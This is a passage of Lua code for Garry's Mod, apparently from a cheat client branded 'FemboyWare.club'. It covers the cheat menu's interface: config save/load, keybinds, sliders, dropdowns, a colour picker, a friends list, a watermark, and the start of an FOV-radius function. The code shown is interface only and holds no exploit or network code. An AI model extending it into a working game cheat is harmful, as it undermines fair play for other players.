DrawText("Save", "KirkElement", bx + 6, y + 4, COLORS.text_normal)
local mx, my = input.GetCursorPos()
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 then
if mx >= tx and mx <= tx + tw and my >= ty and my <= ty + th then
GUI.configFocused = true
GUI.lastClickFrame = CurTime()
elseif mx >= bx and mx <= bx + 38 and my >= y and my <= y + 22 then
GUI.configFocused = false
if IsValid(GUI.textEntry) then GUI.textEntry:Remove() end
kirkware_v4_Save(GUI.configName)
GUI.lastClickFrame = CurTime()
else
GUI.configFocused = false
if IsValid(GUI.textEntry) then GUI.textEntry:Remove() end
end
end
h = h + 25
local configs = kirkware_v4_GetConfigs()
for _, cfg in ipairs(configs) do
local cy = y + h
DrawText(cfg, "KirkElement", x + 8, cy + 4, COLORS.text_normal)
-- Buttons: [Save] [Load] [Del]
local btnW = 35
local startX = x + w - (btnW * 3) - 10
DrawRect(startX, cy, btnW, 20, COLORS.bg_element)
DrawOutline(startX, cy, btnW, 20, COLORS.border)
DrawText("Save", "KirkElement", startX + 4, cy + 3, COLORS.accent)
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 and mx >= startX and mx <= startX + btnW and my >= cy and my <= cy + 20 then
GUI.configFocused = false
if IsValid(GUI.textEntry) then GUI.textEntry:Remove() end
kirkware_v4_Save(cfg)
GUI.lastClickFrame = CurTime()
end
startX = startX + btnW + 2
DrawRect(startX, cy, btnW, 20, COLORS.bg_element)
DrawOutline(startX, cy, btnW, 20, COLORS.border)
DrawText("Load", "KirkElement", startX + 4, cy + 3, COLORS.text_bright)
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 and mx >= startX and mx <= startX + btnW and my >= cy and my <= cy + 20 then
GUI.configFocused = false
if IsValid(GUI.textEntry) then GUI.textEntry:Remove() end
if IsValid(GUI.textEntry) then GUI.textEntry:Remove() end
kirkware_v4_Load(cfg)
GUI.configName = cfg
GUI.lastClickFrame = CurTime()
end
startX = startX + btnW + 2
DrawRect(startX, cy, btnW, 20, COLORS.bg_element)
DrawOutline(startX, cy, btnW, 20, COLORS.border)
DrawText("Del", "KirkElement", startX + 7, cy + 3, Color(255, 100, 100))
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 and mx >= startX and mx <= startX + btnW and my >= cy and my <= cy + 20 then
GUI.configFocused = false
if IsValid(GUI.textEntry) then GUI.textEntry:Remove() end
kirkware_v4_Delete(cfg)
GUI.lastClickFrame = CurTime()
end
h = h + 22
end
return h
end
local function GetBindName(bind)
if bind == "ALWAYS" then return "ALWAYS" end
if bind == MOUSE_LEFT then return "M1" end
if bind == MOUSE_RIGHT then return "M2" end
if bind == MOUSE_MIDDLE then return "M3" end
if bind == MOUSE_4 then return "M4" end
if bind == MOUSE_5 then return "M5" end
if bind == BINDINGKEY then return "..." end
if type(bind) == "number" then
if bind >= 107 and bind <= 113 then
return "M" .. (bind - 106)
end
local name = input.GetKeyName(bind)
if name then return string.upper(name) end
end
return "???"
end
local function DrawToggle(item, x, y, w)
local color = COLORS.bg_panel
if item.value then color = COLORS.accent end
DrawBorderBox(x, y, LINEHEIGHT, LINEHEIGHT, 1, color, COLORS.border_light, 4)
DrawText(item.label, "KirkElement", x + LINEHEIGHT + 12, y, COLORS.text_normal)
if item.colorKey or (item.widget and item.widget.type == "colorpicker") then
local cpKey = item.colorKey
local col = cpKey and config.colors[cpKey] or (item.widget and item.widget.val) or Color(255, 255, 255)
local cpSize = 14
local cpX = x + w - cpSize
local cpY = y + (LINEHEIGHT - cpSize) / 2
DrawBorderBox(cpX, cpY, cpSize, cpSize, 1, col, COLORS.border_light, 4)
elseif item.widget and item.widget.type == "keybind" then
local text = "[" .. (GetBindName(item.widget.val)) .. "]"
local textsize = TextSize(text, "KirkElement")
local bx = x + w - textsize
local by = y
color = COLORS.accent2
local mx, my = input.GetCursorPos()
if
mx and mx >= bx and mx <= bx + textsize and
my >= by and my <= by + LINEHEIGHT
then
color = COLORS.accent
end
DrawText(text, "KirkElement", bx, by, color)
end
end
local function DrawSlider(item, x, y, w)
DrawText(item.label, "KirkElement", x, y, COLORS.text_normal)
local label_width = TextSize(item.label .. " ", "KirkElement")
DrawText(item.value, "KirkElement", x + label_width, y, COLORS.text_dim)
DrawBorderBox(x, y + LINEHEIGHT, w, 8, 1, COLORS.bg_panel, COLORS.border_light, 4)
if item.value ~= item.min then
local amount = ((item.value - item.min)/(item.max - item.min))
DrawBorderBox(x, y + LINEHEIGHT, w * amount, 8, 1, COLORS.accent, COLORS.border_light, 4)
end
end
local function DrawDropdown(item, x, y, w)
DrawBorderBox(x, y, w, LINEHEIGHT, 1, COLORS.bg_element, COLORS.border_light, 4)
DrawText(item.selected, "KirkElement", x + 4, y, COLORS.text_normal)
if item.open then
DrawTriangle(
x + (w-8), y + 5,
x + (w-8) + 8, y + 5,
x + (w-8) + 8/2, y + 5 + 8,
COLORS.text_dim
)
else
DrawTriangle(
x + (w-8), y + 5 + 8/2,
x + (w-8) + 8, y + 5,
x + (w-8) + 8, y + 5 + 8,
COLORS.text_dim
)
end
if item.open then
local offY = y + LINEHEIGHT + 4
for i, opt in ipairs(item.opts) do
local color = COLORS.bg_panel
if opt == item.selected then color = COLORS.accent end
if i == 1 then
DrawBorderBox(x, offY, w, LINEHEIGHT + 4, 1, color, color, 4)
elseif i == #item.opts then
FillRect(x, offY, w + 3, 4, color)
DrawBorderBox(x, offY, w, LINEHEIGHT + 4, 1, color, color, 4)
else
FillRect(x, offY, w + 3, LINEHEIGHT + 4, color)
end
DrawText(opt, "KirkElement", x + 4, offY, COLORS.text_normal)
offY = offY + LINEHEIGHT + 4
end
end
end
local function DrawMultiselect(item, x, y, w)
DrawBorderBox(x, y, w, LINEHEIGHT, 1, COLORS.bg_element, COLORS.border_light, 4)
if #item.selected ~= 0 then
local txt = table.concat(item.selected, ", ")
local maxW = w - 20
surface.SetFont("KirkElement")
local tw = surface.GetTextSize(txt)
if tw > maxW then
while tw > maxW and #txt > 0 do
txt = string.sub(txt, 1, #txt - 1)
tw = surface.GetTextSize(txt .. "...")
end
txt = txt .. "..."
end
DrawText(txt, "KirkElement", x + 4, y, COLORS.text_normal)
else
DrawText("None", "KirkElement", x + 4, y, COLORS.text_dim)
end
if item.open then
DrawTriangle(
x + (w-8), y + 5,
x + (w-8) + 8, y + 5,
x + (w-8) + 8/2, y + 5 + 8,
COLORS.text_dim
)
else
DrawTriangle(
x + (w-8), y + 5 + 8/2,
x + (w-8) + 8, y + 5,
x + (w-8) + 8, y + 5 + 8,
COLORS.text_dim
)
end
if item.open then
local offY = y + LINEHEIGHT + 4
for i, opt in ipairs(item.opts) do
if i == 1 then
DrawBorderBox(x, offY, w, LINEHEIGHT + 4, 1, COLORS.bg_panel, COLORS.bg_panel, 4)
elseif i == #item.opts then
FillRect(x, offY, w + 3, 4, COLORS.bg_panel)
DrawBorderBox(x, offY, w, LINEHEIGHT + 4, 1, COLORS.bg_panel, COLORS.bg_panel, 4)
else
FillRect(x, offY, w + 3, LINEHEIGHT + 4, COLORS.bg_panel)
end
local color = COLORS.bg_sector
if table_contains(item.selected, opt) then
color = COLORS.accent
end
DrawBorderBox(x, offY + 1, LINEHEIGHT, LINEHEIGHT, 1, color, COLORS.border_light, 4)
DrawText(opt, "KirkElement", x + 4 + 16, offY, COLORS.text_normal)
offY = offY + LINEHEIGHT + 4
end
end
end
local function DrawLabel(item, x, y, w)
DrawText(item.label, "KirkElement", x, y, COLORS.text_normal)
local widget = item.widget
if not widget then return end
if widget.type == "colorpicker" then
DrawBorderBox(x + w - LINEHEIGHT, y + LINEHEIGHT/4, LINEHEIGHT, LINEHEIGHT/2, 1, widget.val, COLORS.border, 8)
end
end
local function DrawGroup(group, x, y, w, max_h)
local h = 18
for i, elem in ipairs(group.elems) do
if elem.type == "toggle" then
h = h + LINEHEIGHT + 6
elseif elem.type == "button" then
h = h + 22 + 6
elseif elem.type == "friendslist" then
local listStart = y + 10 + h + 22 + 4
local menuBot = GUI.y + GUI.h - PADDING - 10
local maxH = math.max(menuBot - listStart, 22)
local totalListH = math.max(#player.GetAll() - 1, 0) * 22
h = h + (22 + 4) + math.min(totalListH, maxH) + 6
elseif elem.type == "friendsinfo" then
local infoH = 22
if IsValid(GUI.selectedPlayer) then
-- 5 labels (Name, SteamName, Status, SteamID, SteamID64) + 2 spacing + 4 buttons
infoH = (22 * 5) + 20 + (26 * 4)
end
h = h + infoH + 6
elseif elem.type == "configlist" then
local cCount = #kirkware_v4_GetConfigs()
h = h + 25 + (cCount * 22) + 6
elseif elem.type == "slider" then
h = h + LINEHEIGHT + 16
elseif elem.type == "dropdown" then
h = h + LINEHEIGHT + 6
if elem.open then
h = h + #elem.opts * (LINEHEIGHT + 4) + 4
end
elseif elem.type == "multiselect" then
h = h + LINEHEIGHT + 6
if elem.open then
h = h + #elem.opts * (LINEHEIGHT + 4) + 4
end
elseif elem.type == "label" then
h = h + LINEHEIGHT + 2
elseif elem.type == "separator" then
h = h + LINEHEIGHT + 8
end
end
DrawBorderBox(
x, y, w, h, 2,
COLORS.bg_main, COLORS.border, 6
)
local namew, nameh = TextSize(group.name, "KirkTab")
FillRect(x + 8, y, namew + 6, nameh, COLORS.bg_main)
DrawText(group.name, "KirkTab", x + 10, y - nameh/2, COLORS.text_normal)
local offY = 0
for i, elem in ipairs(group.elems) do
if elem.type == "toggle" then
DrawToggle(elem, x + 8, y + 10 + offY, w - 16)
offY = offY + LINEHEIGHT + 6
elseif elem.type == "button" then
DrawButton(elem, x + 8, y + 10 + offY, w - 16)
offY = offY + 22 + 6
elseif elem.type == "friendslist" then
local h = DrawFriendsList(elem, x + 8, y + 10 + offY, w - 16)
offY = offY + h + 6
elseif elem.type == "friendsinfo" then
local h = DrawFriendsInfo(elem, x + 8, y + 10 + offY, w - 16)
offY = offY + h + 6
elseif elem.type == "slider" then
DrawSlider(elem, x + 8, y + 10 + offY, w - 16)
offY = offY + LINEHEIGHT + 16
elseif elem.type == "label" then
DrawLabel(elem, x + 8, y + 10 + offY, w - 16)
offY = offY + LINEHEIGHT + 2
elseif elem.type == "separator" then
DrawText(elem.label, "KirkElement", x + 8, y + 10 + offY, COLORS.accent)
DrawLine(
x + 8, y + 10 + offY + LINEHEIGHT + 2,
x + 8 + (w-16), y + 10 + offY + LINEHEIGHT + 2,
COLORS.bg_sector
)
offY = offY + LINEHEIGHT + 8
elseif elem.type == "dropdown" then
DrawDropdown(elem, x + 8, y + 10 + offY, w - 16)
offY = offY + LINEHEIGHT + 6
if elem.open then
offY = offY + #elem.opts * (LINEHEIGHT + 4) + 4
end
elseif elem.type == "multiselect" then
DrawMultiselect(elem, x + 8, y + 10 + offY, w - 16)
offY = offY + LINEHEIGHT + 6
if elem.open then
offY = offY + #elem.opts * (LINEHEIGHT + 4) + 4
end
elseif elem.type == "configlist" then
local ch = DrawConfigList(elem, x + 8, y + 10 + offY, w - 16)
offY = offY + ch + 6
end
end
return h
end
local function DrawColorPicker()
if not GUI.colorPicker.visible then return end
local cp = GUI.colorPicker
local cx, cy = cp.x, cp.y
local cw, ch = cp.width, cp.height
draw.RoundedBox(8, cx, cy, cw, ch, COLORS.bg_main)
local svSize = 130
local svX, svY = cx + 10, cy + 10
for i = 0, svSize, 5 do
for j = 0, svSize, 5 do
local s = i / svSize
local v = 1 - (j / svSize)
local r, g, b = GUI.HSVtoRGB(cp.h, s, v)
surface.SetDrawColor(r, g, b, 255)
surface.DrawRect(svX + i, svY + j, 5, 5)
end
end
local selX = svX + (cp.s * svSize)
local selY = svY + ((1 - cp.v) * svSize)
DrawRect(selX - 2, selY - 2, 4, 4, Color(255, 255, 255))
DrawRect(selX - 3, selY - 3, 6, 6, Color(0, 0, 0))
local hX, hY, hW, hH = cx + 150, cy + 10, 20, svSize
for i = 0, hH do
local hue = (i / hH) * 360
local r, g, b = GUI.HSVtoRGB(hue, 1, 1)
surface.SetDrawColor(r, g, b, 255)
surface.DrawRect(hX, hY + i, hW, 1)
end
local hueY = hY + (cp.h / 360) * hH
FillRect(hX - 2, hueY - 1, hW + 4, 2, Color(255, 255, 255))
local aX, aY, aW, aH = cx + 10, cy + 150, 160, 15
FillRect(aX, aY, aW, aH, COLORS.bg_panel)
FillRect(aX, aY, aW * (cp.color.a / 255), aH, cp.color)
DrawRect(aX, aY, aW, aH, COLORS.border_light)
DrawText("Alpha: " .. cp.color.a, "KirkElement", aX + 2, aY, Color(0, 0, 0))
if cp.key then
local btnX, btnY, btnW, btnH = cx + 10, cy + 175, 160, 20
local col = config.colors_mode[cp.key] == "Team" and COLORS.accent or COLORS.bg_panel
DrawBorderBox(btnX, btnY, btnW, btnH, 1, col, COLORS.border_light, 4)
draw.SimpleText("Team Color", "KirkElement", btnX + btnW/2, btnY + btnH/2, COLORS.text_normal, TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
end
end
local function DrawMenu()
if not GUI.visible then return end
GUI.activeTab = GUI.activeTab or 1
DrawBorderBox(
GUI.x, GUI.y, GUI.w, GUI.h, 2,
COLORS.bg_main, COLORS.border, 8
)
-- content box
draw.RoundedBox(8,
GUI.x + PADDING + BORDER,
GUI.y + PADDING + BORDER + TABHEIGHT,
GUI.w - PADDING * 2,
GUI.h - TABHEIGHT - PADDING*2,
COLORS.bg_panel
)
local offX = GUI.x + PADDING
local offY = GUI.y + TABHEIGHT/2
DrawText("FemboyWare", "KirkTab", offX, offY, COLORS.text_normal)
offX = offX + TextSize("FemboyWare", "KirkTab")
DrawText(".club", "KirkTab", offX, offY, COLORS.accent)
offX = offX + TextSize(".club ", "KirkTab")
DrawLine(offX, offY, offX, offY + LINEHEIGHT, COLORS.text_dim)
offX = offX + 2 + TextSize(" ", "KirkTab")
for i = 1, #GUI.tabs do
local name = GUI.tabs[i].name
if i == GUI.activeTab then
DrawText(name, "KirkTab", offX, offY, COLORS.text_bright)
else
DrawText(name, "KirkTab", offX, offY, COLORS.text_dim)
end
offX = offX + TextSize(name .. " ", "KirkTab")
end
offX = GUI.x + PADDING + INNERPADDING
local leftY = GUI.y + PADDING + TABHEIGHT + INNERPADDING
local rightY = GUI.y + PADDING + TABHEIGHT + INNERPADDING
local groupWidth = (GUI.w - PADDING)/2 - INNERPADDING*2
local tab = GUI.tabs[GUI.activeTab]
if tab then
for i, group in ipairs(tab.groups) do
if group.pos == "left" then
local h = DrawGroup(group, offX, leftY, groupWidth)
leftY = leftY + h + INNERPADDING
else
local h = DrawGroup(group, offX + groupWidth + INNERPADDING, rightY, groupWidth)
rightY = rightY + h + INNERPADDING
end
end
end
DrawColorPicker()
end
local function MenuInput()
if not GUI.visible then return end
local mx, my = input.GetCursorPos()
if not mx then return end
-- Handle Keybinding
if GUI.bindingKey then
for btn = 107, 113 do
if input.IsMouseDown(btn) then
if (CurTime() - (GUI.lastClickFrame or 0)) < 0.2 then return end
GUI.bindingKey.val = btn
if GUI.bindingKey.callback then GUI.bindingKey.callback(GUI.bindingKey.val) end
GUI.bindingKey = nil
return
end
end
for key = 0, 255 do
if input.IsKeyDown(key) and key ~= KEY_NONE then
if (CurTime() - (GUI.lastClickFrame or 0)) < 0.2 then return end
if key == KEY_LWIN or key == KEY_RWIN then return end
if key ~= KEY_ESCAPE then
GUI.bindingKey.val = key
if GUI.bindingKey.callback then GUI.bindingKey.callback(GUI.bindingKey.val) end
end
GUI.bindingKey = nil
return
end
end
return
end
-- Handle Color Picker Interaction
if GUI.colorPicker.visible then
local cp = GUI.colorPicker
local cx, cy = cp.x, cp.y
local cw, ch = cp.width, cp.height
-- Close CP if clicked outside
if input.IsMouseDown(MOUSE_LEFT) and not (mx >= cx and mx <= cx + cw and my >= cy and my <= cy + ch) and not cp.draggingSatVal and not cp.draggingHue and not cp.draggingAlpha then
if (CurTime() - GUI.lastClickFrame) > 0.2 then
cp.visible = false
GUI.lastClickFrame = CurTime()
return
end
end
local svX, svY, svSize = cx + 10, cy + 10, 130
local hX, hY, hW, hH = cx + 150, cy + 10, 20, 130
local aX, aY, aW, aH = cx + 10, cy + 150, 160, 15
local updated = false
if input.IsMouseDown(MOUSE_LEFT) then
if (mx >= svX and mx <= svX + svSize and my >= svY and my <= svY + svSize) or cp.draggingSatVal then
cp.draggingSatVal = true
cp.s = math.Clamp((mx - svX) / svSize, 0, 1)
cp.v = math.Clamp(1 - ((my - svY) / svSize), 0, 1)
updated = true
elseif (mx >= hX and mx <= hX + hW and my >= hY and my <= hY + hH) or cp.draggingHue then
cp.draggingHue = true
cp.h = math.Clamp(((my - hY) / hH) * 360, 0, 360)
updated = true
elseif (mx >= aX and mx <= aX + aW and my >= aY and my <= aY + aH) or cp.draggingAlpha then
cp.draggingAlpha = true
cp.color.a = math.Clamp((mx - aX) / aW, 0, 1) * 255
updated = true
end
if updated then
local r, g, b = GUI.HSVtoRGB(cp.h, cp.s, cp.v)
cp.color = Color(r, g, b, cp.color.a)
-- Sync back to widget/config
if cp.widget then
cp.widget.val = cp.color
if cp.widget.callback then cp.widget.callback(cp.color) end
end
if cp.key then
config.colors[cp.key] = cp.color
config.colors_mode[cp.key] = nil -- Reset team mode on manual change
end
if cp.callback then cp.callback(cp.color) end
end
else
cp.draggingSatVal = false
cp.draggingHue = false
cp.draggingAlpha = false
end
-- Team Mode Button Handler
if cp.key then
local btnX, btnY, btnW, btnH = cx + 10, cy + 175, 160, 20
if input.IsMouseDown(MOUSE_LEFT) and mx >= btnX and mx <= btnX + btnW and my >= btnY and my <= btnY + btnH then
if (CurTime() - GUI.lastClickFrame) > 0.2 then
config.colors_mode[cp.key] = (config.colors_mode[cp.key] == "Team") and nil or "Team"
GUI.lastClickFrame = CurTime()
end
end
end
return
end
-- Main GUI Dragging
if
mx >= GUI.x and mx <= GUI.x + GUI.w
and my >= GUI.y and my <= GUI.y + TABHEIGHT + PADDING
and input.IsMouseDown(MOUSE_LEFT)
and not GUI.dragging
and not GUI.sliderDragging
then
GUI.dragging = true
GUI.drag_ox = mx - GUI.x
GUI.drag_oy = my - GUI.y
end
if GUI.dragging then
if input.IsMouseDown(MOUSE_LEFT) then
GUI.x = mx - GUI.drag_ox
GUI.y = my - GUI.drag_oy
else
GUI.dragging = false
end
end
-- Tab Switching
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 then
for i, tab in ipairs(GUI.tabs) do
if
mx >= tab.bakedX + GUI.x and mx <= tab.bakedX + tab.bakedW + GUI.x and
my >= GUI.y + PADDING and my <= GUI.y + PADDING + LINEHEIGHT
then
GUI.activeTab = i
GUI.lastClickFrame = CurTime()
end
end
end
-- Elements Interaction
local cx = GUI.x + PADDING + INNERPADDING
local cy = GUI.y + PADDING + INNERPADDING + TABHEIGHT
local tab = GUI.tabs[GUI.activeTab]
if tab then
local groupWidth = (GUI.w - PADDING)/2 - INNERPADDING*2
local lx, rx = cx, cx + groupWidth + INNERPADDING
local ly, ry = cy, cy
for i, group in ipairs(tab.groups) do
local sx, sy = group.pos == "left" and lx or rx, group.pos == "left" and ly or ry
local sliderWidth = groupWidth - INNERPADDING*2 + 14
local ex, ey = sx + 8, sy + 10
for j, el in ipairs(group.elems) do
local eh = 0
if el.type == "toggle" then
-- Main Toggle Checkbox
if mx >= ex and mx <= ex + LINEHEIGHT and my >= ey and my <= ey + LINEHEIGHT then
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 then
el.value = not el.value
el.callback(el.value)
GUI.lastClickFrame = CurTime()
end
end
-- Toggle Widgets (CP or Binding)
if el.colorKey or (el.widget and el.widget.type == "colorpicker") then
local cpSize = 14
local toggleW = groupWidth - 16
local cpX = (sx + 8) + toggleW - cpSize
local cpY = ey + (LINEHEIGHT - cpSize) / 2
if mx >= cpX and mx <= cpX + cpSize and my >= cpY and my <= cpY + cpSize then
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 then
local col = el.colorKey and config.colors[el.colorKey] or (el.widget and el.widget.val) or Color(255, 255, 255)
GUI.colorPicker.visible = true
GUI.colorPicker.x, GUI.colorPicker.y = mx + 20, my - 50
GUI.colorPicker.key = el.colorKey
GUI.colorPicker.widget = el.widget
GUI.colorPicker.callback = nil
if GUI.colorPicker.x + GUI.colorPicker.width > ScrW() then GUI.colorPicker.x = mx - GUI.colorPicker.width - 10 end
if GUI.colorPicker.y + GUI.colorPicker.height > ScrH() then GUI.colorPicker.y = ScrH() - GUI.colorPicker.height - 10 end
GUI.colorPicker.color = col
local h, s, v = GUI.RGBtoHSV(col.r, col.g, col.b)
GUI.colorPicker.h, GUI.colorPicker.s, GUI.colorPicker.v = h, s, v
GUI.lastClickFrame = CurTime()
end
end
elseif el.widget and el.widget.type == "keybind" then
local text = "[" .. (GetBindName(el.widget.val)) .. "]"
local textsize = TextSize(text, "KirkElement")
local bx = ex + sliderWidth - textsize
if mx >= bx and mx <= ex + sliderWidth and my >= ey and my <= ey + LINEHEIGHT then
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 then
GUI.bindingKey = el.widget
GUI.bindingStartTime = CurTime()
GUI.lastClickFrame = CurTime()
end
end
end
eh = LINEHEIGHT + 6
elseif el.type == "button" then
local hovered = (mx >= ex and mx <= ex + sliderWidth and my >= ey and my <= ey + 22)
if hovered and input.IsMouseDown(MOUSE_LEFT) then
if not el.wasDown then
el.callback()
el.wasDown = true
end
el.pressed = true
elseif not input.IsMouseDown(MOUSE_LEFT) then
el.wasDown = false
el.pressed = false
else
el.pressed = false
end
eh = 22 + 6
elseif el.type == "friendslist" then
local listStart = ey + 22 + 4
local menuBot = GUI.y + GUI.h - PADDING - 10
local maxListH = math.max(menuBot - listStart, 22)
local totalListH = math.max(#player.GetAll() - 1, 0) * 22
eh = (22 + 4) + math.min(totalListH, maxListH) + 6
elseif el.type == "configlist" then
local cfgs = kirkware_v4_GetConfigs()
local btnW = 60
local btnX = ex + sliderWidth - btnW
if mx >= btnX and mx <= btnX + btnW and my >= ey and my <= ey + 22 then
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 then
kirkware_v4_Save(GUI.configName)
GUI.configName = "default"
GUI.lastClickFrame = CurTime()
end
end
if mx >= ex and mx <= ex + sliderWidth - btnW - 5 and my >= ey and my <= ey + 22 then
if input.IsMouseDown(MOUSE_LEFT) then GUI.configFocused = true end
elseif input.IsMouseDown(MOUSE_LEFT) then
GUI.configFocused = false
end
local offY = 26
for _, cfg in ipairs(cfgs) do
local bW = 40
local delX, savX, loadX = ex + sliderWidth - bW, ex + sliderWidth - bW*2, ex + sliderWidth - bW*3
if my >= ey + offY and my <= ey + offY + 22 then
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 then
if mx >= delX and mx <= delX + bW then kirkware_v4_Delete(cfg)
elseif mx >= savX and mx <= savX + bW then kirkware_v4_Save(cfg)
elseif mx >= loadX and mx <= loadX + bW then kirkware_v4_Load(cfg) end
GUI.lastClickFrame = CurTime()
end
end
offY = offY + 24
end
eh = 26 + (#cfgs * 24) + 6
elseif el.type == "slider" then
if mx >= ex and mx <= ex + sliderWidth and my >= ey + LINEHEIGHT and my <= ey + LINEHEIGHT + 8 and input.IsMouseDown(MOUSE_LEFT) then
GUI.sliderDragging = true
GUI.sliderStart, GUI.sliderWidth, GUI.sliderEl = ex, sliderWidth, el
end
eh = LINEHEIGHT + 16
elseif el.type == "label" then
if el.widget and el.widget.type == "colorpicker" then
local cpSize = 14
local cpX = ex + sliderWidth - cpSize
local cpY = ey + (LINEHEIGHT - cpSize) / 2
if mx >= cpX and mx <= cpX + cpSize and my >= cpY and my <= cpY + cpSize then
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 then
GUI.colorPicker.visible = true
GUI.colorPicker.x, GUI.colorPicker.y = mx + 20, my - 50
GUI.colorPicker.widget = el.widget
GUI.colorPicker.color = el.widget.val
GUI.colorPicker.key = nil
local h, s, v = GUI.RGBtoHSV(el.widget.val.r, el.widget.val.g, el.widget.val.b)
GUI.colorPicker.h, GUI.colorPicker.s, GUI.colorPicker.v = h, s, v
GUI.lastClickFrame = CurTime()
end
end
end
eh = LINEHEIGHT + 2
elseif el.type == "dropdown" or el.type == "multiselect" then
local dh = el.open and (LINEHEIGHT + #el.opts * (LINEHEIGHT + 4) + 4) or LINEHEIGHT
if mx >= ex and mx <= ex + sliderWidth and my >= ey and my <= ey + dh then
if input.IsMouseDown(MOUSE_LEFT) and (CurTime() - GUI.lastClickFrame) > 0.2 then
if my >= ey and my <= ey + LINEHEIGHT then
el.open = not el.open
elseif el.open then
local idx = math.floor((my - ey - LINEHEIGHT - 4) / (LINEHEIGHT + 4)) + 1
if idx >= 1 and idx <= #el.opts then
local opt = el.opts[idx]
if el.type == "dropdown" then
el.selected = opt
el.callback(opt)
el.open = false
else
if table_contains(el.selected, opt) then
table.RemoveByValue(el.selected, opt)
else
local index = {}
for m, v in ipairs(el.opts) do
index[v] = m
end
table.insert(el.selected, opt)
table.sort(el.selected, function(a, b)
return index[a] < index[b]
end)
end
el.callback(el.selected)
end
end
end
GUI.lastClickFrame = CurTime()
end
end
eh = dh + 6
elseif el.type == "separator" then
eh = LINEHEIGHT + 8
end
ey = ey + eh
end
local groupH = (ey - sy) + 8
if group.pos == "left" then ly = ly + groupH + INNERPADDING else ry = ry + groupH + INNERPADDING end
end
end
-- Slider Dragging sync
if GUI.sliderDragging and input.IsMouseDown(MOUSE_LEFT) then
local el = GUI.sliderEl
if el then
local val = math.Clamp((mx - GUI.sliderStart) / GUI.sliderWidth, 0, 1)
el.value = math.floor(el.min + (el.max - el.min) * val + 0.5)
if el.callback then el.callback(el.value) end
end
else
GUI.sliderDragging = false
end
end
local function Tab(name)
local t = { name = name, groups = {}, bakedX = GUI.lastBakedX, bakedW = TextSize(name, "KirkTab") }
GUI.lastBakedX = GUI.lastBakedX + t.bakedW + TAB_SPACE
function t:Group(name, pos)
local s = { name = name, pos = pos or "left", elems = {}, }
function s:Toggle(label, default, callback, colorKey, bindKey)
local e = {
type="toggle", label=label, value=default or false,
callback=callback or function()end, widget=nil
}
if bindKey then
e.bindKey = bindKey
e.widget = {
type = "keybind",
val = config.binds[bindKey] or -1,
callback = function(v)
config.binds[bindKey] = v
e.widget.val = v
end
}
end
if colorKey then
-- Setup color picker widget if needed, or handle separately
-- For now, just store it if DrawToggle uses it, or adapt
e.colorKey = colorKey
end
function e:Keybind(default, callback)
self.widget = {
type = "keybind",
val = default or nil,
callback = function(v)
self.widget.val = v
if callback then callback(v) end
end
}
return self.widget
end
function e:ColorPicker(default, callback)
self.widget = {
type="colorpicker",
val=default or Color(255, 255, 255, 255),
callback=callback or function() end
}
return self.widget
end
table.insert(self.elems, e)
return e
end
function s:Slider(label, min, max, default, decimals, callback)
-- Handle optional decimals argument
local cb = callback
if type(decimals) == "function" then
cb = decimals
decimals = 0
end
table.insert(self.elems, {
type="slider", label=label, min=min, max=max,
value=math.floor(default or min), decimals=decimals, callback=cb or function() end
})
return self.elems[#self.elems]
end
function s:Button(label, callback)
local e = {
type="button", label=label, active=false, pressed=false,
callback=callback or function() end
}
table.insert(self.elems, e)
return e
end
function s:Dropdown(label, opts, default, callback)
self:Label(label)
table.insert(self.elems, {
type="dropdown", label=label, opts=opts,
selected=default or opts[1], callback=callback or function() end,
open=false
})
return self.elems[#self.elems]
end
function s:Button(label, callback)
local e = {
type="button", label=label,
callback=callback or function() end
}
table.insert(self.elems, e)
return e
end
function s:FriendsList()
local e = { type="friendslist" }
table.insert(self.elems, e)
return e
end
function s:FriendsInfo()
local e = { type="friendsinfo" }
table.insert(self.elems, e)
return e
end
function s:FriendsInfo()
local e = { type="friendsinfo" }
table.insert(self.elems, e)
return e
end
function s:ConfigList()
local e = { type="configlist" }
table.insert(self.elems, e)
return e
end
function s:Multiselect(label, opts, default, callback)
self:Label(label)
table.insert(self.elems, {
type="multiselect", label=label, opts=opts, selected=default or {},
callback=callback or function() end, open=false
})
return self.elems[#self.elems]
end
function s:Label(txt)
local e = { type="label", label=txt or "", widget = nil }
function e:ColorPicker(default, callback)
self.widget = {
type="colorpicker",
val=default or Color(255, 255, 255, 255),
callback=callback or function() end
}
return self.widget
end
table.insert(self.elems, e)
return e
end
function s:Separator(txt)
table.insert(self.elems, { type="separator", label=txt or "" })
return self.elems[#self.elems]
end
table.insert(self.groups, s)
return s
end
table.insert(GUI.tabs, t)
return t
end
--------------------------------------------------------------------------------
-- WATERMARK
--------------------------------------------------------------------------------
local function CreateWatermark()
if not config.showWatermark then return end
if IsValid(watermarkHTMLPanel) then watermarkHTMLPanel:Remove() end
watermarkHTMLPanel = vgui.Create("DHTML")
watermarkHTMLPanel:SetSize(config.watermarkSize, config.watermarkSize)
watermarkHTMLPanel:SetPos(ScrW() - config.watermarkSize - 10, ScrH() - config.watermarkSize - 10)
watermarkHTMLPanel:SetHTML([[
]])
watermarkHTMLPanel:SetMouseInputEnabled(false)
watermarkHTMLPanel:SetVisible(true)
watermarkHTMLPanel:SetAlpha(120)
end
local function RemoveWatermark()
if IsValid(watermarkHTMLPanel) then
watermarkHTMLPanel:Remove()
watermarkHTMLPanel = nil
end
end
local function UpdateWatermark()
if not config.showWatermark then return end
if not IsValid(watermarkHTMLPanel) then
CreateWatermark()
return
end
watermarkHTMLPanel:SetPos(ScrW() - config.watermarkSize - 10, ScrH() - config.watermarkSize - 10)
end
local function GetFOVRadius()
local playerFOV = LocalPlayer():GetFOV()
